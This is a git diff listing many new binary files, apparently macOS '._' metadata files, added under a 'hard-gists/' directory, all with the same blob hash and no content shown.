Binary files /dev/null and b/hard-gists/._acbd669af86ecb8f988325084ba7a749 differ
diff --git a/hard-gists/._ad16c57cf48eb95a4b63 b/hard-gists/._ad16c57cf48eb95a4b63
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ad16c57cf48eb95a4b63 differ
diff --git a/hard-gists/._ad575cee6bb503d4d193da355d70d3e9 b/hard-gists/._ad575cee6bb503d4d193da355d70d3e9
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ad575cee6bb503d4d193da355d70d3e9 differ
diff --git a/hard-gists/._ad7eda38c797dfddc394 b/hard-gists/._ad7eda38c797dfddc394
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ad7eda38c797dfddc394 differ
diff --git a/hard-gists/._ae2a7adaab133c61a059 b/hard-gists/._ae2a7adaab133c61a059
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ae2a7adaab133c61a059 differ
diff --git a/hard-gists/._aea4329b760eb3e72f4d b/hard-gists/._aea4329b760eb3e72f4d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._aea4329b760eb3e72f4d differ
diff --git a/hard-gists/._aecb82d8b51e991dbd01 b/hard-gists/._aecb82d8b51e991dbd01
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._aecb82d8b51e991dbd01 differ
diff --git a/hard-gists/._af466b8d32d7cd4954f1 b/hard-gists/._af466b8d32d7cd4954f1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._af466b8d32d7cd4954f1 differ
diff --git a/hard-gists/._af5bc4fae39b16f8d505 b/hard-gists/._af5bc4fae39b16f8d505
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._af5bc4fae39b16f8d505 differ
diff --git a/hard-gists/._afb129122a64bde3bd0c b/hard-gists/._afb129122a64bde3bd0c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._afb129122a64bde3bd0c differ
diff --git a/hard-gists/._b02bac4b48f780bee77b b/hard-gists/._b02bac4b48f780bee77b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b02bac4b48f780bee77b differ
diff --git a/hard-gists/._b09f45e112b226b97a36 b/hard-gists/._b09f45e112b226b97a36
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b09f45e112b226b97a36 differ
diff --git a/hard-gists/._b0a882f844e188c78358 b/hard-gists/._b0a882f844e188c78358
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b0a882f844e188c78358 differ
diff --git a/hard-gists/._b0c075cfde406280cbf7 b/hard-gists/._b0c075cfde406280cbf7
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b0c075cfde406280cbf7 differ
diff --git a/hard-gists/._b0e95087771dbefa386f b/hard-gists/._b0e95087771dbefa386f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b0e95087771dbefa386f differ
diff --git a/hard-gists/._b0eae211db963fe56c0c55773e6a16c0 b/hard-gists/._b0eae211db963fe56c0c55773e6a16c0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b0eae211db963fe56c0c55773e6a16c0 differ
diff --git a/hard-gists/._b18ce332bde37e156034e5d3f60f8a23 b/hard-gists/._b18ce332bde37e156034e5d3f60f8a23
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b18ce332bde37e156034e5d3f60f8a23 differ
diff --git a/hard-gists/._b19bb35f5484af5d7622 b/hard-gists/._b19bb35f5484af5d7622
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b19bb35f5484af5d7622 differ
diff --git a/hard-gists/._b1d181802fac750f0cc1 b/hard-gists/._b1d181802fac750f0cc1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b1d181802fac750f0cc1 differ
diff --git a/hard-gists/._b1ef03dd21e7a3016161 b/hard-gists/._b1ef03dd21e7a3016161
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b1ef03dd21e7a3016161 differ
diff --git a/hard-gists/._b205bdf830c9f81e5fb6 b/hard-gists/._b205bdf830c9f81e5fb6
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b205bdf830c9f81e5fb6 differ
diff --git a/hard-gists/._b26bc0333cc18660d07baeb923ce9021 b/hard-gists/._b26bc0333cc18660d07baeb923ce9021
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b26bc0333cc18660d07baeb923ce9021 differ
diff --git a/hard-gists/._b26db61d8bde30b8a88451615105da7a b/hard-gists/._b26db61d8bde30b8a88451615105da7a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b26db61d8bde30b8a88451615105da7a differ
diff --git a/hard-gists/._b27cdbff68870418bdb8cefa86a2d558 b/hard-gists/._b27cdbff68870418bdb8cefa86a2d558
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b27cdbff68870418bdb8cefa86a2d558 differ
diff --git a/hard-gists/._b2af7d980eb217a0af07 b/hard-gists/._b2af7d980eb217a0af07
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b2af7d980eb217a0af07 differ
diff --git a/hard-gists/._b3143dde185cecda7c1dee7ffbce5d2c b/hard-gists/._b3143dde185cecda7c1dee7ffbce5d2c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b3143dde185cecda7c1dee7ffbce5d2c differ
diff --git a/hard-gists/._b3e6f9b5d95af8ba2cc46f2ba6eae5e2 b/hard-gists/._b3e6f9b5d95af8ba2cc46f2ba6eae5e2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b3e6f9b5d95af8ba2cc46f2ba6eae5e2 differ
diff --git a/hard-gists/._b3f329868934710fbc81218ce1d6d722 b/hard-gists/._b3f329868934710fbc81218ce1d6d722
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b3f329868934710fbc81218ce1d6d722 differ
diff --git a/hard-gists/._b3f8ab944a85b33e694de21c6ded029e b/hard-gists/._b3f8ab944a85b33e694de21c6ded029e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b3f8ab944a85b33e694de21c6ded029e differ
diff --git a/hard-gists/._b45983f227f1e4fbea65b6e06abfdecc b/hard-gists/._b45983f227f1e4fbea65b6e06abfdecc
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b45983f227f1e4fbea65b6e06abfdecc differ
diff --git a/hard-gists/._b45d21224c4ea16bf4a72e2a03f741af b/hard-gists/._b45d21224c4ea16bf4a72e2a03f741af
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b45d21224c4ea16bf4a72e2a03f741af differ
diff --git a/hard-gists/._b46119196c75d6ef20ff b/hard-gists/._b46119196c75d6ef20ff
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b46119196c75d6ef20ff differ
diff --git a/hard-gists/._b470324dc5c81cef8ae24fd1d3fd4e59 b/hard-gists/._b470324dc5c81cef8ae24fd1d3fd4e59
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b470324dc5c81cef8ae24fd1d3fd4e59 differ
diff --git a/hard-gists/._b48d48fc1b6eb080412129e596ab2193 b/hard-gists/._b48d48fc1b6eb080412129e596ab2193
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b48d48fc1b6eb080412129e596ab2193 differ
diff --git a/hard-gists/._b492a548aa342ce0badfe1eed86ea5a4 b/hard-gists/._b492a548aa342ce0badfe1eed86ea5a4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b492a548aa342ce0badfe1eed86ea5a4 differ
diff --git a/hard-gists/._b493a228c4081ff0260b b/hard-gists/._b493a228c4081ff0260b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b493a228c4081ff0260b differ
diff --git a/hard-gists/._b4a0aed67fc0da6b02434a5c2cef45c4 b/hard-gists/._b4a0aed67fc0da6b02434a5c2cef45c4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b4a0aed67fc0da6b02434a5c2cef45c4 differ
diff --git a/hard-gists/._b4afaf9648ec986928a9 b/hard-gists/._b4afaf9648ec986928a9
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b4afaf9648ec986928a9 differ
diff --git a/hard-gists/._b4ea0034839ccbc2aa03 b/hard-gists/._b4ea0034839ccbc2aa03
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b4ea0034839ccbc2aa03 differ
diff --git a/hard-gists/._b53cc1e0482411e4b53d74bd12a485c1 b/hard-gists/._b53cc1e0482411e4b53d74bd12a485c1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b53cc1e0482411e4b53d74bd12a485c1 differ
diff --git a/hard-gists/._b55de7edbcbc1ad46a28a0975c01a5cf b/hard-gists/._b55de7edbcbc1ad46a28a0975c01a5cf
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b55de7edbcbc1ad46a28a0975c01a5cf differ
diff --git a/hard-gists/._b5952c36b36b877adcb0495163678675 b/hard-gists/._b5952c36b36b877adcb0495163678675
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b5952c36b36b877adcb0495163678675 differ
diff --git a/hard-gists/._b59679e31dbdb01064d6bceb827ed88b b/hard-gists/._b59679e31dbdb01064d6bceb827ed88b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b59679e31dbdb01064d6bceb827ed88b differ
diff --git a/hard-gists/._b5b2c4be45437992df58a7dd13dbafa7 b/hard-gists/._b5b2c4be45437992df58a7dd13dbafa7
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b5b2c4be45437992df58a7dd13dbafa7 differ
diff --git a/hard-gists/._b5d44b5c06172733d9edda4bcf9326b2 b/hard-gists/._b5d44b5c06172733d9edda4bcf9326b2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b5d44b5c06172733d9edda4bcf9326b2 differ
diff --git a/hard-gists/._b5e7a80691ed5e44e7fea1964bae18dc b/hard-gists/._b5e7a80691ed5e44e7fea1964bae18dc
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b5e7a80691ed5e44e7fea1964bae18dc differ
diff --git a/hard-gists/._b6460d1e3da5044ffff235403d16fed2 b/hard-gists/._b6460d1e3da5044ffff235403d16fed2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b6460d1e3da5044ffff235403d16fed2 differ
diff --git a/hard-gists/._b6e374d172bbe3e6130f6849e7bd6c13 b/hard-gists/._b6e374d172bbe3e6130f6849e7bd6c13
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b6e374d172bbe3e6130f6849e7bd6c13 differ
diff --git a/hard-gists/._b71ed0e977e6d345bcb8 b/hard-gists/._b71ed0e977e6d345bcb8
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b71ed0e977e6d345bcb8 differ
diff --git a/hard-gists/._b72585771a9f606ad800 b/hard-gists/._b72585771a9f606ad800
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b72585771a9f606ad800 differ
diff --git a/hard-gists/._b76261844db0255899ba857838a7c201 b/hard-gists/._b76261844db0255899ba857838a7c201
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b76261844db0255899ba857838a7c201 differ
diff --git a/hard-gists/._b7beba6f962110596660 b/hard-gists/._b7beba6f962110596660
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b7beba6f962110596660 differ
diff --git a/hard-gists/._b8240ea53d22e1bb4d32 b/hard-gists/._b8240ea53d22e1bb4d32
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b8240ea53d22e1bb4d32 differ
diff --git a/hard-gists/._b82d70b0d581dc4609e4 b/hard-gists/._b82d70b0d581dc4609e4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b82d70b0d581dc4609e4 differ
diff --git a/hard-gists/._b82da1cb8f3afe5ccb643f87e2f853b0 b/hard-gists/._b82da1cb8f3afe5ccb643f87e2f853b0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b82da1cb8f3afe5ccb643f87e2f853b0 differ
diff --git a/hard-gists/._b8462a8a1cb69f55d8356cbb0f3a4d63 b/hard-gists/._b8462a8a1cb69f55d8356cbb0f3a4d63
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b8462a8a1cb69f55d8356cbb0f3a4d63 differ
diff --git a/hard-gists/._b85fcfd4a0479810e6aa b/hard-gists/._b85fcfd4a0479810e6aa
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b85fcfd4a0479810e6aa differ
diff --git a/hard-gists/._b87ffb502890909aea2eb449643d5bc7 b/hard-gists/._b87ffb502890909aea2eb449643d5bc7
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b87ffb502890909aea2eb449643d5bc7 differ
diff --git a/hard-gists/._b8a7b7be344e447e7ee6625fe2fdd765 b/hard-gists/._b8a7b7be344e447e7ee6625fe2fdd765
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b8a7b7be344e447e7ee6625fe2fdd765 differ
diff --git a/hard-gists/._b9309cdd7d5adc3b4b70 b/hard-gists/._b9309cdd7d5adc3b4b70
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b9309cdd7d5adc3b4b70 differ
diff --git a/hard-gists/._b95cb69fd1c82ca4c2ff b/hard-gists/._b95cb69fd1c82ca4c2ff
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b95cb69fd1c82ca4c2ff differ
diff --git a/hard-gists/._b9768b4eefe679c988ce b/hard-gists/._b9768b4eefe679c988ce
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b9768b4eefe679c988ce differ
diff --git a/hard-gists/._b9bc61a74e7cadeb1fec b/hard-gists/._b9bc61a74e7cadeb1fec
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b9bc61a74e7cadeb1fec differ
diff --git a/hard-gists/._b9df49cfc1540bc8b896 b/hard-gists/._b9df49cfc1540bc8b896
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._b9df49cfc1540bc8b896 differ
diff --git a/hard-gists/._ba235b7e90aafb9986158697a457a0d0 b/hard-gists/._ba235b7e90aafb9986158697a457a0d0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ba235b7e90aafb9986158697a457a0d0 differ
diff --git a/hard-gists/._badd18a84b236c9e6c34057512cb569a b/hard-gists/._badd18a84b236c9e6c34057512cb569a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._badd18a84b236c9e6c34057512cb569a differ
diff --git a/hard-gists/._baf42b089d71b94fd229 b/hard-gists/._baf42b089d71b94fd229
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._baf42b089d71b94fd229 differ
diff --git a/hard-gists/._bb160e63686f517c93a937f46714dd03 b/hard-gists/._bb160e63686f517c93a937f46714dd03
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._bb160e63686f517c93a937f46714dd03 differ
diff --git a/hard-gists/._bb61c15139bff338cb17 b/hard-gists/._bb61c15139bff338cb17
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._bb61c15139bff338cb17 differ
diff --git a/hard-gists/._bb640cebefcc550f357c b/hard-gists/._bb640cebefcc550f357c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._bb640cebefcc550f357c differ
diff --git a/hard-gists/._bb85da3aa563b747151e b/hard-gists/._bb85da3aa563b747151e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._bb85da3aa563b747151e differ
diff --git a/hard-gists/._bba5c2ba3000010ca049d6f96f5d2f27 b/hard-gists/._bba5c2ba3000010ca049d6f96f5d2f27
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._bba5c2ba3000010ca049d6f96f5d2f27 differ
diff --git a/hard-gists/._bbfa863f3fe4bb2163d94394d7b60899 b/hard-gists/._bbfa863f3fe4bb2163d94394d7b60899
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._bbfa863f3fe4bb2163d94394d7b60899 differ
diff --git a/hard-gists/._bbfc1f0b9d003bf08b26 b/hard-gists/._bbfc1f0b9d003bf08b26
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._bbfc1f0b9d003bf08b26 differ
diff --git a/hard-gists/._bc901de8b7e59cbeb190 b/hard-gists/._bc901de8b7e59cbeb190
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._bc901de8b7e59cbeb190 differ
diff --git a/hard-gists/._bca0daa0c3ca0ddb2c70 b/hard-gists/._bca0daa0c3ca0ddb2c70
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._bca0daa0c3ca0ddb2c70 differ
diff --git a/hard-gists/._bcc376fb336b73f24b29 b/hard-gists/._bcc376fb336b73f24b29
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._bcc376fb336b73f24b29 differ
diff --git a/hard-gists/._bcd8b4002b6cbf77dd89 b/hard-gists/._bcd8b4002b6cbf77dd89
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._bcd8b4002b6cbf77dd89 differ
diff --git a/hard-gists/._bce94f1c37215f644e0c b/hard-gists/._bce94f1c37215f644e0c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._bce94f1c37215f644e0c differ
diff --git a/hard-gists/._bce98c5c1688fc833475 b/hard-gists/._bce98c5c1688fc833475
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._bce98c5c1688fc833475 differ
diff --git a/hard-gists/._bd0940f7988774e2822d b/hard-gists/._bd0940f7988774e2822d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._bd0940f7988774e2822d differ
diff --git a/hard-gists/._bd2d6c2271e42ed97b97 b/hard-gists/._bd2d6c2271e42ed97b97
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._bd2d6c2271e42ed97b97 differ
diff --git a/hard-gists/._bd57b54a5c6903e4a6a2 b/hard-gists/._bd57b54a5c6903e4a6a2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._bd57b54a5c6903e4a6a2 differ
diff --git a/hard-gists/._bdb31b04fb1e69fa5346 b/hard-gists/._bdb31b04fb1e69fa5346
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._bdb31b04fb1e69fa5346 differ
diff --git a/hard-gists/._be6123c7ee3b366e333a b/hard-gists/._be6123c7ee3b366e333a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._be6123c7ee3b366e333a differ
diff --git a/hard-gists/._be7e84c9d61c4869e981 b/hard-gists/._be7e84c9d61c4869e981
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._be7e84c9d61c4869e981 differ
diff --git a/hard-gists/._bf576ee091e75071bc66 b/hard-gists/._bf576ee091e75071bc66
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._bf576ee091e75071bc66 differ
diff --git a/hard-gists/._bfb45408d43986eefdf83b59bc9e8629 b/hard-gists/._bfb45408d43986eefdf83b59bc9e8629
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._bfb45408d43986eefdf83b59bc9e8629 differ
diff --git a/hard-gists/._bfc2099235ac96937f34 b/hard-gists/._bfc2099235ac96937f34
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._bfc2099235ac96937f34 differ
diff --git a/hard-gists/._c01b65369b71c35431c8 b/hard-gists/._c01b65369b71c35431c8
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c01b65369b71c35431c8 differ
diff --git a/hard-gists/._c063bddb9b8d17a037695d748db4f592 b/hard-gists/._c063bddb9b8d17a037695d748db4f592
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c063bddb9b8d17a037695d748db4f592 differ
diff --git a/hard-gists/._c078cabc0a48f2570028bff397a9e154 b/hard-gists/._c078cabc0a48f2570028bff397a9e154
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c078cabc0a48f2570028bff397a9e154 differ
diff --git a/hard-gists/._c0fdb29ddf0d338bcbd021b68f5bea51 b/hard-gists/._c0fdb29ddf0d338bcbd021b68f5bea51
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c0fdb29ddf0d338bcbd021b68f5bea51 differ
diff --git a/hard-gists/._c12be33cdcd9a86f20a2 b/hard-gists/._c12be33cdcd9a86f20a2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c12be33cdcd9a86f20a2 differ
diff --git a/hard-gists/._c18130768ac0ef0345947c5aa0827b65 b/hard-gists/._c18130768ac0ef0345947c5aa0827b65
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c18130768ac0ef0345947c5aa0827b65 differ
diff --git a/hard-gists/._c18bfe4fd96008ffa0aef25001a2e88f b/hard-gists/._c18bfe4fd96008ffa0aef25001a2e88f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c18bfe4fd96008ffa0aef25001a2e88f differ
diff --git a/hard-gists/._c1adfdb0f526465c99409cc143dea97b b/hard-gists/._c1adfdb0f526465c99409cc143dea97b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c1adfdb0f526465c99409cc143dea97b differ
diff --git a/hard-gists/._c211c1af232974f00564 b/hard-gists/._c211c1af232974f00564
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c211c1af232974f00564 differ
diff --git a/hard-gists/._c233b0d25c5fbe008d9477bc1b2d234c b/hard-gists/._c233b0d25c5fbe008d9477bc1b2d234c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c233b0d25c5fbe008d9477bc1b2d234c differ
diff --git a/hard-gists/._c26b2dd5c2bdeaf6d7479a68bd7023bb b/hard-gists/._c26b2dd5c2bdeaf6d7479a68bd7023bb
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c26b2dd5c2bdeaf6d7479a68bd7023bb differ
diff --git a/hard-gists/._c28329f12711a914c7a8cbe6eeb947c0 b/hard-gists/._c28329f12711a914c7a8cbe6eeb947c0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c28329f12711a914c7a8cbe6eeb947c0 differ
diff --git a/hard-gists/._c2b2943ead94c200574a b/hard-gists/._c2b2943ead94c200574a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c2b2943ead94c200574a differ
diff --git a/hard-gists/._c2cf8d8aee3eb70668bd b/hard-gists/._c2cf8d8aee3eb70668bd
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c2cf8d8aee3eb70668bd differ
diff --git a/hard-gists/._c2d24fe340a7f3cf76d2 b/hard-gists/._c2d24fe340a7f3cf76d2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c2d24fe340a7f3cf76d2 differ
diff --git a/hard-gists/._c2dfe5772ba3cd16c1be17ba42b7db66 b/hard-gists/._c2dfe5772ba3cd16c1be17ba42b7db66
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c2dfe5772ba3cd16c1be17ba42b7db66 differ
diff --git a/hard-gists/._c3124826a3c49ddda6999acb40ad2c27 b/hard-gists/._c3124826a3c49ddda6999acb40ad2c27
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c3124826a3c49ddda6999acb40ad2c27 differ
diff --git a/hard-gists/._c344f114e1579a29e163 b/hard-gists/._c344f114e1579a29e163
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c344f114e1579a29e163 differ
diff --git a/hard-gists/._c362f0ad488e3b289394 b/hard-gists/._c362f0ad488e3b289394
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c362f0ad488e3b289394 differ
diff --git a/hard-gists/._c3a540563e0774489ceafb3156b318a2 b/hard-gists/._c3a540563e0774489ceafb3156b318a2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c3a540563e0774489ceafb3156b318a2 differ
diff --git a/hard-gists/._c3c474a04d7c0cd8ddeb b/hard-gists/._c3c474a04d7c0cd8ddeb
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c3c474a04d7c0cd8ddeb differ
diff --git a/hard-gists/._c42d76db2ad2e87a5086 b/hard-gists/._c42d76db2ad2e87a5086
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c42d76db2ad2e87a5086 differ
diff --git a/hard-gists/._c4329fa17f1b3f287341 b/hard-gists/._c4329fa17f1b3f287341
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c4329fa17f1b3f287341 differ
diff --git a/hard-gists/._c4602c23783d894b8d96 b/hard-gists/._c4602c23783d894b8d96
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c4602c23783d894b8d96 differ
diff --git a/hard-gists/._c47824c116e6a61a56d9 b/hard-gists/._c47824c116e6a61a56d9
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c47824c116e6a61a56d9 differ
diff --git a/hard-gists/._c4806c504e46e8cdb00a b/hard-gists/._c4806c504e46e8cdb00a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c4806c504e46e8cdb00a differ
diff --git a/hard-gists/._c4b999517b713adb6480a349bb6d7658 b/hard-gists/._c4b999517b713adb6480a349bb6d7658
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c4b999517b713adb6480a349bb6d7658 differ
diff --git a/hard-gists/._c503014bbb03088bec37a61231036461 b/hard-gists/._c503014bbb03088bec37a61231036461
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c503014bbb03088bec37a61231036461 differ
diff --git a/hard-gists/._c577716bd2f15b9ca330b15443e8bfbe b/hard-gists/._c577716bd2f15b9ca330b15443e8bfbe
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c577716bd2f15b9ca330b15443e8bfbe differ
diff --git a/hard-gists/._c591cab03c66780b18d5 b/hard-gists/._c591cab03c66780b18d5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c591cab03c66780b18d5 differ
diff --git a/hard-gists/._c5af642cf217971d93f499e8f70fcb72 b/hard-gists/._c5af642cf217971d93f499e8f70fcb72
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c5af642cf217971d93f499e8f70fcb72 differ
diff --git a/hard-gists/._c5afa16b07747b113808 b/hard-gists/._c5afa16b07747b113808
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c5afa16b07747b113808 differ
diff --git a/hard-gists/._c5ead2b72b2be03eb0ca b/hard-gists/._c5ead2b72b2be03eb0ca
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c5ead2b72b2be03eb0ca differ
diff --git a/hard-gists/._c613bd0fad5de00bab2e b/hard-gists/._c613bd0fad5de00bab2e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c613bd0fad5de00bab2e differ
diff --git a/hard-gists/._c648d753e7d0176ff172 b/hard-gists/._c648d753e7d0176ff172
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c648d753e7d0176ff172 differ
diff --git a/hard-gists/._c67039252268ec5e66ba b/hard-gists/._c67039252268ec5e66ba
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c67039252268ec5e66ba differ
diff --git a/hard-gists/._c6936d219db8e6635d25 b/hard-gists/._c6936d219db8e6635d25
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c6936d219db8e6635d25 differ
diff --git a/hard-gists/._c6b3e4d47d933b057aab32c9c29c4221 b/hard-gists/._c6b3e4d47d933b057aab32c9c29c4221
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c6b3e4d47d933b057aab32c9c29c4221 differ
diff --git a/hard-gists/._c70fb69eef42d40bed06 b/hard-gists/._c70fb69eef42d40bed06
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c70fb69eef42d40bed06 differ
diff --git a/hard-gists/._c71f241125ed879d4af7 b/hard-gists/._c71f241125ed879d4af7
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c71f241125ed879d4af7 differ
